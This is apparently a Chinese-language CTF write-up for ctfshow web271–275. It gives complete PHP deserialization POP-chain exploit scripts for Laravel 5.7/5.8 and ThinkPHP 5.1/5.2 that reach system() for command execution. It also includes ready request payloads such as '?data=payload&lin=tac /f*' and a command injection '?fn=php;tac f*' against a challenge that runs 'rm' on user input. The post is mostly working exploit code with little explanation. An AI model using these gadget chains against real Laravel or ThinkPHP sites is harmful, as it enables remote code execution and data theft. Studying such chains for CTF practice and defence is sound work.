​ Laravel 5.7 的反序列化漏洞,源码在这儿:https://github.com/laravel/laravel/tree/5.7。

​ 不大会开发,直接上 poc 算了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace Illuminate\Foundation\Testing{

use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;

class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="cat /flag";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{

use Illuminate\Foundation\Testing\PendingCommand;

echo urlencode(serialize(new PendingCommand()));
}

# web272:

​ 上一篇文章:laravel5.8 反序列化漏洞复现

​ 直接上 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 22:27:03
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;

public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('tac /f*');");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}

# web273:

​ 用这个 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
namespace Illuminate\Broadcasting{

use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;

class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";

}
}
namespace{

use Illuminate\Broadcasting\PendingBroadcast;

echo urlencode(serialize(new PendingBroadcast()));
}

# web274:

​ thinkphp 反序列化,贴个文章:thinkphp5.1.x~5.2.x 版本反序列化链挖掘分析

​ 放个 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

​ 然后,将生成的 payload 放在下面的 payload 处:

1
?data=payload&lin=tac /f*

​ 即可得到 flag。

# web275:

​ 小声嘀咕:为什么还没有 pop 链?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

​ 想办法触发 __destruct 即可,这里需要 filename 或者 filecontent 包含 php 或者 flag,这样在最后销毁的时候会进入 system 函数,并且 checkevil () 为 true,不会进入 if 语句,程序会进入最后的销毁阶段,触发 __destruct ,因此,即可进入 system 函数,所以 payload 为:

1
?fn=php;tac f*
更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝